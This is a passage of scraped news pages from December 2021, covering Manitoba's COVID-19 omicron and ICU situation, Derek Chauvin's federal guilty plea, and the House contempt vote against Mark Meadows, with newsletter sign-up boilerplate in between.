protection compared to earlier strains, Reimer said. Jen Zoratti | Next A weekly look towards a post-pandemic future delivered to your inbox every Wednesday. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. However, early evidence suggests any decrease in protection against omicron can likely be overcome by getting a booster, she said. "The emerging medical evidence suggests that COVID-19 vaccines will likely offer some protection against omicron, because even though omicron is a new variant, its still COVID." Reimer said COVID-19 vaccines are readily available at most medical clinics and pharmacies, and locations with inventory can be found on the provinces vaccine finder map. Its recommended people take the same brand of vaccine for their second and third doses. She said not all provincially run clinics have walk-in availability and encouraged people to check online or call the provinces vaccine hot line to book ahead. Availability of appointments at provincial clinics is expected to increase based on demand, Reimer added. danielle.dasilva@freepress.mb.ca Infrastructure Minister Ron Schuler, the lone holdout among members of the Manitoba Legislative Assembly in not divulging his COVID-19 vaccination status, must have gotten the jab. Infrastructure Minister Ron Schuler, the lone holdout among members of the Manitoba Legislative Assembly in not divulging his COVID-19 vaccination status, must have gotten the jab. Premier Heather Stefanson told reporters Tuesday everyone in her Tory caucus will be eligible to enter the legislature Wednesday when new rules take effect requiring MLAs, their staff and visitors be fully vaccinated. "Ive been assured that were good to go," said Stefanson. She wouldnt name Schuler (MLA for Springfield-Ritchot) or state that he is fully vaccinated, but said her cabinet of which he is a member will meet Wednesday and "move on." "Im not going to get into details on someones own health information. I dont think thats up to me to make comments on someones personal health information," she said. On Dec. 1, the premier told reporters every PC MLA would have to be immunized by Dec. 15. "If theyre not, they will be removed from caucus and cabinet," she said at the time. Schuler has ducked reporters when asked why he wasnt joining others in government urging Manitobans to get vaccinated to protect themselves and the health-care system that has been overwhelmed by unvaccinated COVID-19 patients. Premier Heather Stefanson says everyone in her caucus can enter the Manitoba Legislative Building. (Chelsea Kemp / The Brandon Sun files) When Schulers unvaccinated constituency assistant died of COVID-19 last month, a source close to the family of Gladys Hayward Williams, 70, said the MLA and others in the community influenced her decision not to get vaccinated. The Progressive Conservative government was late in requiring its elected officials to be vaccinated, the official Opposition says. Want to get a head start on your day? Get the days breaking stories, weather forecast, and more sent straight to your inbox every weekday morning. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. "It shows how the PC government has not been matching the commitment that the rest of Manitoba has shown," NDP Leader Wab Kinew told reporters Tuesday. "The rest of Manitoba was lining up they were showing up at 4 a.m. outside of Shoppers Drug Mart in Osborne Village to get the vaccine. The PC government apparently cant be bothered until well over a year after the vaccines are available." Starting Dec. 15, MLAs, their constituency assistants, provincial public servants who do not work in the building, contractors performing work in the building on behalf of the Manitoba government or legislative assembly, and all visiting members of the public are required to be fully immunized and provide proof of vaccination to enter. To align with COVID-19 prevention orders for public servants issued Nov. 12, public servants whose offices are located within the building and members of the press gallery and media staff who require access to the building will have to provide proof of vaccination or a negative COVID-19 test result conducted within the past 48 hours every time they enter the Manitoba Legislative Building. "Compliance with this policy is mandatory and it is expected that treatment to staff be respectful while navigating this process," the province said in a news release. carol.sanders@freepress.mb.ca After asking the federal government to send between 15 and 30 ICU nurses to help deal with the COVID-19 hospital crisis in the coming weeks, Manitoba Premier Heather Stefanson says shed also consider asking the military for additional help. After asking the federal government to send between 15 and 30 ICU nurses to help deal with the COVID-19 hospital crisis in the coming weeks, Manitoba Premier Heather Stefanson says shed also consider asking the military for additional help. "I dont think anythings off the table," Stefanson told reporters in a scrum Tuesday at the legislature. On the weekend, 11 front-line and critical care doctors wrote an open letter urging the provincial government to ask the Canadian Armed Forces to send nurses to help out in Winnipeg ICUs. The province has made a request to the federal government but not the military. "Obviously, well look at whats needed at any individual time," said Stefanson, who thanked the doctors for "their service and their advice." "The ask of the federal government is an interim measure" while the province boosts nurse recruitment and retention, the premier said, adding she hoped to get a response from the federal government soon. Late Tuesday, a federal spokeswoman said: "Our officials are working with their provincial counterparts to process the request as quickly as possible." The premier couldnt say if the province may also ask the military for help. "We cant predict the future," Stefanson said of the COVID-19 pandemic and the situation in hospital ICUs. "We have no idea where this might be going," she said. "Well always make decisions based on evidence and what is needed and patient safety." The official Opposition said the province shouldnt wait to ask for additional help. "Action needs to be taken immediately," NDP health critic Uzoma Asagwara said Tuesday, after the NDP shared a critical care bed tracker showing ICUs at near-capacity with few empty beds, a number of patients waiting to be admitted in, and even more housed "off-unit." Very few if any are able to be transferred because they are so critically ill, and units have had to drop the one-nurse-per-patient ratio, the tracker indicated. "We need as much help as we can get which is why the doctors made that call for the military, which is why were making the call for the military," Asagwara told reporters. "We shouldnt have to get to the point here in Manitoba where our health-care system outright collapses before the premier takes that step and asks for help and gets that here to Manitoba," said Asagwara, a former nurse. It will take more than that, however, to rebuild the system, Manitoba Nurses Union president Darlene Jackson said: "Manitoba could use at least 1,000 more nurses across a broad range of specialties to get this system back to being able to provide the standards of care other provinces enjoy." Nursing vacancies range anywhere from 25 per cent in some regions of Manitoba to the high teens everywhere else, she said Tuesday in an email. Manitobans are now seeing the "human cost" of the provinces 2016 reorganization and restructuring of the health-care system "in the most tragic and intense ways," Jackson said. Stefanson said her government is working with the union and the provincial college of nurses in recruiting and retaining more nurses "toward that end goal of ensuring that patients get the care they need when they need it." The province announced Tuesday it would spend up to $4.3 million for 37 additional nurse training seats at three campuses of the University College of the North. The funding will support the expansion by enabling UCN to invest in equipment, classroom renovations and instructors to support the additional seats. Currently there are more than 800 nursing seats in Manitoba offered at six publicly funded post-secondary institutions. Stay informed The latest updates on the novel coronavirus and COVID-19 delivered to your inbox every weeknight. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. For now, Stefanson asked for patience and for all eligible Manitobans to get vaccinated against COVID-19. She said the government is looking into making rapid test kits more readily available as well the antiviral pill (molnupiravir) that can reduce the severity of the illness. "These are all tools in our toolbox," the premier said. "When we bring these all in and we work together that could help reduce hospitalization in ICUs." However, she wouldnt rule out having to again send ICU patients for care out of province. "We will always do whatever it takes to ensure that patient safety comes first," she said. "Obviously, we want to keep them here." carol.sanders@freepress.mb.ca With its announcement Monday that it has requested immediate, urgent assistance from the federal government in the form of a temporary airlift of intensive-care unit nurses to support Manitobas overburdened critical-care facilities, the provincial government has indicated its awareness that it is once again losing control of its COVID-19 response. With its announcement Monday that it has requested immediate, urgent assistance from the federal government in the form of a temporary airlift of intensive-care unit nurses to support Manitobas overburdened critical-care facilities, the provincial government has indicated its awareness that it is once again losing control of its COVID-19 response. As difficult as it may have been to state it publicly, it is an important admission to have made. As the latest wave of COVID-19-infected patients makes its way into the provinces ICUs, the available roster of local nurses with the necessary critical-care skills is not sufficient to handle the daunting task at hand. Hopefully, federal Minister of Emergency Preparedness Bill Blair will look favourably on Manitobas request and, if there really does exist a reserve force of ICU nurses who are available and ready to move, help might soon be on the way. The available roster of local nurses with the necessary critical-care skills is not sufficient to handle the number of patients in Manitoba's ICUs. (Mikaela MacKenzie / Winnipeg Free Press files) Even if it does arrive, such assistance might not be enough to prevent the province from having to resume the transport of critically ill patients to other provinces as the new Omicron-fuelled wave continues to swell. But perhaps the added ICU support will allow some local nurses to return to their customary duties, thereby limiting the impact of the latest COVID-19 crisis on the rest of the health-care system. Securing federal assistance, however, would be only part of what Manitoba needs to do in response to the current pandemic strain. The other crucial element of the virus-mitigation effort requires the provincial government to commit fully to something it has shown only reluctance toward to date: enforcement of public-health orders, particularly in areas in which vaccination rates are lowest and defiance of restrictions on gatherings and requirements for mask use and proof of vaccination in public places is rampant. "Its very sensitive," is how Justice Minister Cameron Friesen responded last week to a question regarding provincial enforcement efforts in relation to reports of large groups of unmasked and presumably unvaccinated individuals taking part in clandestine religious services in farm sheds and barns. Want more great journalism? Get our best news and features delivered in your inbox every weekday evening. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. Mr. Friesen added that the government in which he serves is "also trying to send the message that we know how important it is for people to gather to meet their spiritual needs." If there really does exist a reserve force of ICU nurses who are available and ready to move , hopefully federal Minister of Emergency Preparedness Bill Blair will look favourably on Manitobas request. (Patrick Doyle / The Canadian Press files) On Tuesday, Premier Heather Stefanson declined to answer direct questions about enforcement, pivoting instead to a statement about access to rapid tests. With all due respect to the premiers deflections and the justice ministers regard for the significance of faith, and the communities that share and support it, to Manitobans, the most pressing issue for this government is protecting the lives and health of the provinces population in the midst of a resurgent crisis. And given the current burden on hospitals and ICUs, and the unvaccinated constituency that is largely responsible for the systems brink-of-collapse status, its time for the department in charge of the provinces laws to ensure theyre being enforced. In his previous cabinet posting as health minister, Mr. Friesen famously chastised doctors who penned an open letter calling on the government to take immediate action to limit the impact of the second pandemic wave. "The people in charge have got this," he insisted, mere days before caseloads rose to unprecedented levels. In the context of the current upsurge in COVID-19 case numbers, Mr. Friesens deference to the group-gathering wants and needs of specific faith communities is misplaced. What truly is "very sensitive" at the moment is the integrity of Manitobas health-care system. For the justice minister, protecting it by using all the enforcement tools at his disposal is Job One. Manitobas intensive care units can handle close to one new admission a day, on average, without disrupting normal hospital operations. Two per day, on a sustained basis, may force hospital administrators to redeploy staff to ICUs from other wards. Manitobas intensive care units can handle close to one new admission a day, on average, without disrupting normal hospital operations. Two per day, on a sustained basis, may force hospital administrators to redeploy staff to ICUs from other wards. More than three daily admissions can lead to disaster the kind Manitoba experienced earlier this year, when officials airlifted 57 COVID-19 patients out of province for critical care treatment. ICU patients tend to remain in hospital for long periods, which means they pile up fast when admission rates are high. Thats how Manitoba Health described its ICU capacity in October, when public health officials pleaded with people to get fully vaccinated and follow public health orders to reduce pressure on hospitals. Since then, the ICU situation has gone from bad to worse, largely owing to scores of unvaccinated patients mostly from the Southern Health region clogging up hospital beds and threatening to collapse Manitobas health-care system. ICU admissions from Southern Health alone over the past month have been enough to trigger contingency planning at Manitoba hospitals. By mid-November, the number of new COVID-19 ICU admissions from Southern Health exceeded an average of one a day, according to statistics compiled from the provinces online data portal. ICU admissions from Southern Health over the past month have triggered contingency planning at Manitoba hospitals. (Shannon VanRaes / Winnipeg Free Press files) There were two ICU admissions from Southern Health some days in November. On Dec. 6, there were four. No other health region, including Winnipeg, had more than one ICU admission in a single day over the past month. Between Nov. 12 and Dec. 12 (the most recent available data), 33 of 69 COVID-19 ICU admissions were from Southern Health. The region is home to about 15 per cent of Manitobas population. During that same period, 15 ICU admissions came from Winnipeg, 13 from Prairie Mountain, five from Interlake-Eastern, and three from Northern Health. Since Oct. 1, 73 of 142 COVID-19 deaths originated from Southern Health. As of Tuesday, 17 of 34 COVID-19 patients in ICUs are from that region. Meanwhile, the vast majority of ICU admissions and COVID-19 deaths across the province continue to be among those who were not fully vaccinated. There is incontrovertible evidence that low vaccine coverage and a stubborn refusal to follow public health orders, including masking indoors and adhering to proof-of-vaccination policies, is killing and hospitalizing people from Southern Health at disproportionate rates. Hospitals have been forced to redeploy health-care staff and cancel thousands of procedures to accommodate that, leaving tens of thousands of Manitobans suffering in pain and misery on growing wait lists. Manitoba hospitals are averaging over three new ICU patients a day, around half from Southern Health, the vast majority of whom are not fully vaccinated. (Mikaela MacKenzie / Winnipeg Free Press files) This is the direct result of a misguided and misinformed anti-vaccination campaign that has taken a foothold in parts of the province. It is also the result of a provincial government that has refused to effectively enforce public health orders. So now, with the new, more infectious omicron variant on the verge of becoming the dominant strain in Canada, Manitoba is entering the next phase of the pandemic in a position of weakness rather than strength. Stay informed The latest updates on the novel coronavirus and COVID-19 delivered to your inbox every weeknight. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. Manitoba hospitals are averaging over three new ICU patients a day (around half from Southern Health, the vast majority of whom are not fully vaccinated). Instead of having enough capacity to absorb another wave, Manitoba hospitals already have 34 COVID-19 patients in ICUs and 135 in hospital overall. Thats far fewer than the number of hospitalized patients during the second and third waves, when vaccines were either not available or fewer than 100,000 Manitobans were fully immunized. Still, its high enough hospitals are on the verge of collapse in part because of staffing shortages and increasing burnout among health-care workers. The province can still dull the impact of the omicron variant, but it must do so fast. An aggressive enforcement strategy in Southern Health is critical and a mandatory vaccination policy for personal care home staff is long overdue. The province also has to do a far better job of communicating the urgent need for eligible Manitobans to get booster shots. Without those actions, local hospitals could be headed for more disaster. tom.brodbeck@freepress.mb.ca Health officials pleaded with Manitobans to scale back holiday gatherings Wednesday, warning the province could be dealing with as many as 1,000 new COVID-19 cases a day next month if the omicron variant takes hold. Health officials pleaded with Manitobans to scale back holiday gatherings Wednesday, warning the province could be dealing with as many as 1,000 new COVID-19 cases a day next month if the omicron variant takes hold. Chief provincial public health officer Brent Roussin delivered the grim projections at a news conference at the RBC Convention Centre, where Health Minister Audrey Gordon got her booster. "Get the third dose as soon as youre eligible," he said. "If youre planning very large gatherings over this holiday season, you need to reconsider those. We may have restrictions that could come in that could affect that, but with or without the restrictions, if you have higher-risk people at those gatherings, youre putting people you care about at risk." He said its particularly important for people over the age of 60 and those with underlying medical conditions to avoid big groups, but he declined to impose any new restrictions on gathering sizes. He recommended Manitobans avoid mixing households and ensure all attendees are vaccinated. Public-health officials are bracing for "exponential growth" of COVID-19 cases because of the omicron variant. There are six confirmed cases in the province, too small a number upon which to base future projections, Roussin said. But the modelling released Wednesday is based on omicrons transmission rates in other jurisdictions, including the U.K., B.C. and Ontario. Early data shows omicron is much more transmissible than the currently dominant delta variant. In Ontario, it is taking only three days for omicron cases to double in number, compared with an average of 34 days for delta. We all need to reconsider our holiday plans because omicron is on its way here. Dr. Brent Roussin "We know from other jurisdictions once we see this spreading in the community, we are weeks away from it being the dominant strain," Roussin said. "We need to act now to decrease the impact of this very concerning variant in Manitoba." The modelling suggests the number of new daily COVID-19 cases within two weeks could easily exceed the third-wave peak of 500 from mid-May. Winnipeg epidemiologist Cynthia Carr said the modelling is not meant to scare people, but it sheds light on what could happen. In the absence of additional black-and-white rules on gatherings, Carr said people should be thinking about who they spend time with and for what length of time this season, carefully weighing all of the risks. If you dont need to travel or visit a crowded location, dont, she said. "I personally wouldnt be getting together in a large party setting," Carr said, comparing this reality to choosing not to drive in a blizzard. "We drive to conditions. Same thing in this situation; lets react to conditions." Manitobas projections under a transmission scenario similar to whats been observed in Ontario and the U.K. would result in 225 cases per day by Dec. 25, provincial official said. The province has not changed its six-month wait period between second and third vaccine doses for residents younger than 60, following national guidelines. As of last week, Manitobans older than 60 are eligible to get third doses as soon as five months has elapsed since their second doses. Roussin hinted wider availability of rapid tests may be on the way, and Premier Heather Stefanson said the province is working with the federal government to get as many rapid tests as it can. Wednesdays projections came as hundreds of Winnipeg Blue Bombers fans prepared to crowd IG Field Wednesday evening to celebrate the teams Grey Cup win. When asked about that gathering in light of the omicron projections, Stefanson said all attendees are required to be fully vaccinated and Roussin hadnt raised a concern about the event. "Well continue to take his advice. If that changes, based on scientific evidence, then well take that advice from him moving forward," she said. Jen Zoratti | Next A weekly look towards a post-pandemic future delivered to your inbox every Wednesday. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. Opposition NDP Leader Wab Kinew said the government needs to call for military assistance in the hospital system, double down on its third-dose campaign and give rapid antigen tests to every person who wants one as the holiday season approaches and omicron looms large. "If we look ahead at a holiday season and a new year where omicron is going to drive cases through the roof, given the fact that we know our hospitals are already at capacity, thats a huge concern," Kinew told reporters at the Legislative Building. However, Kinew said he does not anticipate an urgent response to the new variant threat and said the current pandemic situation the provincial government is in has played out "time and time again." "I put my trust in Manitobans. I believe Manitobans will see the information thats been put out and Manitobans will take this seriously, and unfortunately I think we can expect that theres going to be a bit of a lag before the provincial government gets up to speed on that," he said. With files from Carol Sanders and Danielle Da Silva katie.may@freepress.mb.ca A St. Boniface daycare that had warned parents an omicron COVID-19 case had been detected at its site has learned provincial officials only suspect the highly contagious variant, but havent confirmed it yet. A St. Boniface daycare that had warned parents an omicron COVID-19 case had been detected at its site has learned provincial officials only suspect the highly contagious variant, but havent confirmed it yet. The confusion relates to how Manitoba reports confirmed and suspected cases of highly contagious variants, which it ceased doing last month. Little Voyageurs Learning Centre is set to reopen Wednesday after it chose to close Dec. 5 upon learning two people with COVID-19 had attended the daycare during the period when they might have been contagious. Manitoba officials say the daycare has complied with all public health rules, and director Lisa Nemetchek sent parents regular updates with as much information she felt she could share without identifying who had COVID-19. "Im treading very carefully. Nobody has ill intent here," she said Tuesday. On Dec. 11, Nemetchek says a public health official told her one childs case at the daycares Ecole Provencher site involved the omicron variant. She asked if she could pass that along to parents, and did so in an email, she said. Manitoba hadnt added to its count of five omicron cases since Dec. 8, raising questions as to whether there was a three-day delay in contact tracing. That was clarified Monday, when officials informed Nemetchek they were still conducting sequencing on the virus meaning the province suspected it was an omicron case, but was waiting for full confirmation. Parents were confused as to whether the province had dropped the ball on contact tracing, or whether the daycare had delayed informing parents. In fact, both bodies decided to be proactive in the face of the new variant. Unlike other provinces, Manitoba only reports variant cases once genetic sequencing has confirmed the variant, which takes days to complete. Before that, provinces screen for possible variants, which involves testing all positive samples for a particular gene which, if not present, is flagged as a likely variant and sent for full sequencing. Public Health Ontario publishes a daily report that shows how many cases of each variant have been confirmed, and which ones have been flagged as likely variant cases, to be sequenced. Alberta posts regular updates with similar data. Manitoba does not share that information, but public health officials do inform sites of a possible variant case, such as the St. Boniface daycare. "While we are still learning about the implications of the omicron variant, Manitoba is performing significant contact investigations to delay the spread of this variant in the province," a spokesperson wrote on Tuesday. The province would not say how many presumptive omicron cases had been found during screening, and are awaiting sequencing results. Nor would officials say what precise technology was used to screen samples. They would not reveal how long it takes to sequence a suspected omicron sample. Manitoba Health stopped reporting the number of variants just as omicron surfaced in Canada. Stay informed The latest updates on the novel coronavirus and COVID-19 delivered to your inbox every weeknight. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. A Nov. 26 notice on the provinces open data website says "Manitoba will no longer publicly report variants of concern online, or results to public health" because 98 per cent of cases involved the delta variant and so "there is no longer any clinical implications when this information is received." Manitoba Health will continue listing confirmed variant cases in its daily bulletins, it said, but has no planto revive the data site, which in the past indicated how many cases of each variant remained active and how many cases had recovered. The department also wouldnt say whether its tracking that data internally. "As we are seeing in other jurisdictions, once community spread of omicron occurs, it quickly overtakes delta as the dominant variant," the spokesperson wrote. "Manitoba will continue to report confirmed cases of omicron while the number of cases remains low, however, as the percentage of omicron cases increases, the public reporting of omicron will stop as all cases will be managed the same." dylan.robertson@freepress.mb.ca ST. PAUL, Minn. (AP) Former Minneapolis police Officer Derek Chauvin pleaded guilty Wednesday to a federal charge of violating George Floyds civil rights, averting a trial but likely extending the time he is already spending behind bars on a state conviction. FILE - Former Minneapolis police Officer Derek Chauvin addresses the court as Hennepin County Judge Peter Cahill presides over Chauvin's sentencing at the Hennepin County Courthouse in Minneapolis June 25, 2021. Chauvin appears to be on the verge of pleading guilty to violating George Floyd's civil rights. A federal docket entry on Monday, Dec. 13, 2021 showed that a hearing has been scheduled for Wednesday for Chauvin to change his current not-guilty plea in the case. The court system also sent out instructions for media to attend the hearing. (Court TV via AP, Pool, File) ST. PAUL, Minn. (AP) Former Minneapolis police Officer Derek Chauvin pleaded guilty Wednesday to a federal charge of violating George Floyds civil rights, averting a trial but likely extending the time he is already spending behind bars on a state conviction. Chauvin, who is white, was convicted this spring of state murder and manslaughter charges for pinning his knee against Floyds neck during a May 25, 2020, arrest as the Black man said he couldnt breathe Chauvin was sentenced to 22 1/2 years in that case. The federal charge alleged that Chauvin deprived Floyd of his rights by kneeling on his neck as he was handcuffed and not resisting. Chauvin appeared in person Wednesday for the change of plea hearing in an orange short-sleeve prison shirt and was led into and out of the court in handcuffs. He said "Guilty, your honor" to confirm his pleas in Floyd's death and an unrelated 2017 case, and acknowledged that he was guilty of the acts alleged. FILE - This combination of photos provided by the Hennepin County Sheriff's Office in Minnesota on Wednesday, June 3, 2020, shows from left, former Minneapolis police Officers J. Alexander Kueng, Thomas Lane and Tou Thao. Derek Chauvin, who has already been convicted of state murder and manslaughter charges in the death of George Floyd, appears to be on the verge of pleading guilty to violating Floyd's civil rights. Chauvin, Lane, Kueng and Thao were set to go to trial in late January 2022 on those federal charges. (Hennepin County Sheriff's Office via AP, File) With parole and presuming good behavior, Chauvin is expected to actually serve about 15 years of his state sentence behind bars. Any federal sentence would run at the same time as the state sentence, and defendants serve about 85 percent of federal sentences presuming good behavior. That means if the judge gives Chauvin the maximum 25 years requested, he would likely serve about six years and three months beyond his state sentence. Judge Paul Magnuson didnt set a date for sentencing. Three other former officers Thomas Lane, J. Kueng and Tou Thao were indicted on federal charges alongside Chauvin earlier this year. They are still on course for trial early next year on those charges, with a state trial still to come. Floyds arrest and death, which a bystander captured on cellphone video, sparked mass protests nationwide calling for an end to racial inequality and police mistreatment of Black people. As part of the plea deal, Chauvin also pleaded guilty to violating the rights of a then-14-year-old boy during a 2017 arrest in which he held the boy by the throat, hit him in the head with a flashlight and held his knee on the boys neck and upper back while he was prone, handcuffed and not resisting. FILE - This image from video shows Minneapolis police Officers Thomas Lane, left and J. Alexander Kueng, right, escorting George Floyd, center, to a police vehicle outside Cup Foods in Minneapolis, on May 25, 2020. Derek Chauvin, who has already been convicted of state murder and manslaughter charges in the death of Floyd, appears to be on the verge of pleading guilty to violating Floyd's civil rights. Chauvin, Lane, Kueng and Tou Thao were set to go to trial in late January 2022 on those federal charges. (Court TV via AP, Pool, File) Several members of Floyd's family were present, as was the then-teenager involved in the 2017 arrest, according to a pool reporter. As they left the courtroom, Floyd's brother Philonise said to Chauvin's 2017 victim: "Its a good day for justice." Nine people appeared to support Chauvin, including family members. He waved and smiled at them as he entered and left the courtroom, according to the pool report. George Floyd's nephew, Brandon Williams, afterward called Chauvin a "monster" who should have been arrested in the 2017 incident. "Had he been held accountable for what he did in 2917 to that minor, George Floyd will still be here," Williams said. "Today he had a chance to blow kisses and give air hugs to his family. We cant do that." An attorney for Floyd's family, Jeff Storms, said they planned to head to Minneapolis later in the day to support the family of Daunte Wright, a 20-year-old Black man who was fatally shot during a traffic stop in the midst of Chauvin's state trial. The police officer in that case, Kim Potter, is on trial on manslaughter charges. FILE - Former Minneapolis police Officer Derek Chauvin addresses the court as Hennepin County Judge Peter Cahill presides over Chauvin's sentencing at the Hennepin County Courthouse in Minneapolis June 25, 2021. Chauvin has pleaded guilty to federal charges of violating George Floyds civil rights. Chauvins plea Wednesday, Dec. 15, means he will not face a federal trial in January, though he could end up spending more years behind bars.(Court TV via AP, Pool, File) Floyds arrest and death, which a bystander captured on cellphone video, sparked mass protests nationwide that called for an end to racial inequality and police mistreatment of Black people. To bring federal charges in deaths involving police, prosecutors must believe an officer acted under the "color of law," or government authority, and willfully deprived someone of their constitutional rights. Thats a high legal standard. An accident, bad judgment or simple negligence on the officers part isnt enough to support federal charges. Prosecutors have to prove the officer knew what he was doing was wrong in that moment but did it anyway. According to evidence in the state case against Chauvin, Kueng and Lane helped restrain the 46-year-old Floyd as he was on the ground Kueng knelt on Floyds back and Lane held down Floyds legs. Thao held back bystanders and kept them from intervening during the 9 1/2-minute restraint. All four former officers were charged broadly in federal court with depriving Floyd of his rights while acting under government authority. In the 2017 case involving the then-14-year-old boy, Chauvin is charged with depriving the boy, who was handcuffed and not resisting, of his right to be free of unreasonable force when he held him by the throat, hit him in the head with a flashlight and held his knee on the boys neck and upper back while he was in a prone position. According to a police report from that 2017 encounter, Chauvin wrote that the teen resisted arrest and after the teen, whom he described as 6-foot-2 and about 240 pounds, was handcuffed, Chauvin "used body weight to pin" him to the floor. The boy was bleeding from the ear and needed two stitches. Want to get a head start on your day? Get the days breaking stories, weather forecast, and more sent straight to your inbox every weekday morning. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. That encounter was one of several mentioned in state court filings that prosecutors said showed Chauvin had used neck or head and upper body restraints seven times before dating back to 2014, including four times state prosecutors said he went too far and held the restraints "beyond the point when such force was needed under the circumstances." The other three former officers are still expected to go to trial on federal charges in January, and they face state trial on aiding and abetting counts in March. ___ This story has been corrected throughout to show that Chauvin plea in Floyd's death was to a single charge, with a second count dismissed. ___ Find APs full coverage of the death of George Floyd at: https://apnews.com/hub/death-of-george-floyd WASHINGTON (AP) The House voted Tuesday to hold former White House chief of staff Mark Meadows in contempt of Congress after he ceased to cooperate with the Jan. 6 Committee investigating the Capitol insurrection making it the first time the House has voted to hold a former member in contempt since the 1830s. FILE - White House chief of staff Mark Meadows speaks with reporters outside the White House, Oct. 26, 2020, in Washington. Meadows, Donald Trump's former chief of staff, is cooperating with a House panel investigating the Jan. 6 Capitol insurrection and providing some documents, putting off for now the panel's threat to hold him in contempt, the committee's chairman said Tuesday, Nov. 30, 2021. (AP Photo/Patrick Semansky, File) WASHINGTON (AP) The House voted Tuesday to hold former White House chief of staff Mark Meadows in contempt of Congress after he ceased to cooperate with the Jan. 6 Committee investigating the Capitol insurrection making it the first time the House has voted to hold a former member in contempt since the 1830s. The near-party-line 222-208 vote is the second time the special committee has sought to punish a witness for defying a subpoena. The vote is the latest show of force by the Jan. 6 panel, which is leaving no angle unexplored and no subpoena unanswered as it investigates the worst attack on the Capitol in more than 200 years. Lawmakers on the panel are determined to get answers quickly, and in doing so reassert the congressional authority that eroded while former President Donald Trump was in office. "History will be written about these times, about the work this committee has undertaken," said Rep. Bennie Thompson, R-Miss., the chairman. "And history will not look upon any of you as a martyr. History will not look upon you as a victim." FILE - White House chief of staff Mark Meadows speaks with reporters outside the White House, Oct. 26, 2020, in Washington. The House panel investigating the Jan. 6 Capitol insurrection says it has no choice but to move forward with contempt charges against former Trump White House chief of staff Mark Meadows. (AP Photo/Patrick Semansky, File) Rep. Jamie Raskin, D-Md., another member of the panel, began Tuesdays debate on the resolution by reading frantic texts from the day of the attack revealing members of Congress, Fox News anchors and even Trumps son urging Meadows to persuade the outgoing president to act quickly to stop the three-hour assault by his supporters. The House vote sends the matter to the U.S. attorneys office in Washington, where it will now be up to prosecutors in that office to decide whether to present the case to a grand jury for possible criminal charges. If convicted, Bannon and Meadows could each face up to one year behind bars on each charge. The nine-member panel voted 9-0 Monday night to recommend charges against the former North Carolina congressman who left in March 2020 to become Trump's chief of staff. FILE - White House chief of staff Mark Meadows speaks with reporters outside the White House, Oct. 26, 2020, in Washington. The House panel investigating the Jan. 6 Capitol insurrection says it has no choice but to move forward with contempt charges against former Trump White House chief of staff Mark Meadows. (AP Photo/Patrick Semansky, File) Republicans on Tuesday called the action against Meadows a distraction from the House's work, with one member calling it "evil" and "un-American." Rep. Jim Jordan of Ohio, took to the floor to praise Meadows: "Make no mistake, when Democrats vote in favor of this resolution, it is a vote to put a good man in prison." Trump has also defended Meadows in an interview, saying: "I think Mark should do whats right. Hes an honorable man. He shouldnt be put through this." And Meadows attorney George Terwilliger defended his client in a statement before the vote, noting that he had provided documents to the panel and maintaining that he should not be compelled to appear for an interview. Rep. Bennie Thompson, D-Miss., chairman of the House panel investigating the Jan. 6 U.S. Capitol insurrection, arrives as they consider contempt charges against former President Donald Trump's White House chief of staff Mark Meadows for not complying with a subpoena, at the Capitol in Washington, Monday, Dec. 13, 2021. (AP Photo/J. Scott Applewhite) Terwilliger said, "The Select Committees true intentions in dealing with Mr. Meadows have been revealed when it accuses him of contempt citing the very documents his cooperation has produced." Meadows himself has sued the panel, asking a court to invalidate two subpoenas that he says are "overly broad and unduly burdensome." Meanwhile, Senate Republican leader Mitch McConnell told reporters: "I do think were all watching, as you are, what is unfolding on the House side. And it will be interesting to reveal all the participants who were involved." He added that he was not in contact with Meadows on the day of the attack. FILE - Donald John Trump Jr. speaks during a political rally on Sept. 22, 2021, in Marietta, Ga. As a mob overran the U.S. Capitol last January, some of Donald Trumps highest-profile defenders in the media and even his own son sent urgent text messages to the White House chief of staff urging him to get the then-president to do more to stop the violence. (AP Photo/Mike Stewart, File) Democrats quoted at length from Jan. 6 text messages provided by Meadows while he was cooperating with the committee. "We need an Oval Office address," Donald Trump Jr. texted, the committee said, as his father's supporters were breaking into the Capitol, sending lawmakers running for their lives and interrupting the certification of Joe Biden's presidential victory. "He has to lead now. It has gone too far and gotten out of hand." Trump Jr. added, "Hes got to condemn this s- ASAP." In response to one of Trump Jr.'s texts, Meadows said: "Im pushing it hard. I agree." Members of the committee said the texts raise fresh questions about what was happening at the White House and what Trump himself was doing as the attack was underway. The committee had planned to question Meadows about the communications, including 6,600 pages of records taken from personal email accounts and about 2,000 text messages. The panel has not released any of the communications in full. Republican Rep. Liz Cheney of Wyoming, the panels vice chairwoman, said at the committee's Monday evening meeting that an important issue raised by the texts is whether Trump sought to obstruct the congressional certification by refusing to send a strong message to the rioters to stop. "These texts leave no doubt," Cheney said. "The White House knew exactly what was happening at the Capitol." The investigating panel has already interviewed more than 300 witnesses, and subpoenaed more than 40 people, as it seeks to create the most comprehensive record yet of the lead-up to the insurrection and of the violent siege itself. Want to get a head start on your day? Get the days breaking stories, weather forecast, and more sent straight to your inbox every weekday morning. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. If Meadows had appeared for his deposition, lawmakers had planned to ask him about Trumps efforts to overturn the election in the weeks before the insurrection, including his outreach to states and his communications with members of Congress. The panel says it wanted to know more about whether Trump was engaged in discussions regarding the response of the National Guard, which was delayed for hours as the violence escalated and the rioters beat police guarding the Capitol building. The documents provided by Meadows include an email he sent to an unidentified person saying that the Guard would be present to "protect pro Trump people," the panel said, and that more would be available on standby. The committee did not release any additional details about that email. Committee staff said they would have interviewed Meadows about emails "to leadership at the Department of Justice on December 29th and 30th, 2020, and January 1st, 2021, encouraging investigations of suspected voter fraud," even though election officials and courts across the country had rejected those claims. ___ Associated Press writers Eric Tucker and Darlene Superville contributed to this report. COLUMBUS Santa Claus is returning to the streets of Columbus Saturday and Fall River was added to his route this year. This is the second year Santa has ridden through Columbus, which is sponsored by the Columbus Area Chamber of Commerce. He will be (riding) down every street in Columbus and Fall River this year, said JD Milburn, a board member for Columbus Area Chamber of Commerce. Napleton Chevrolet Buick provides the set 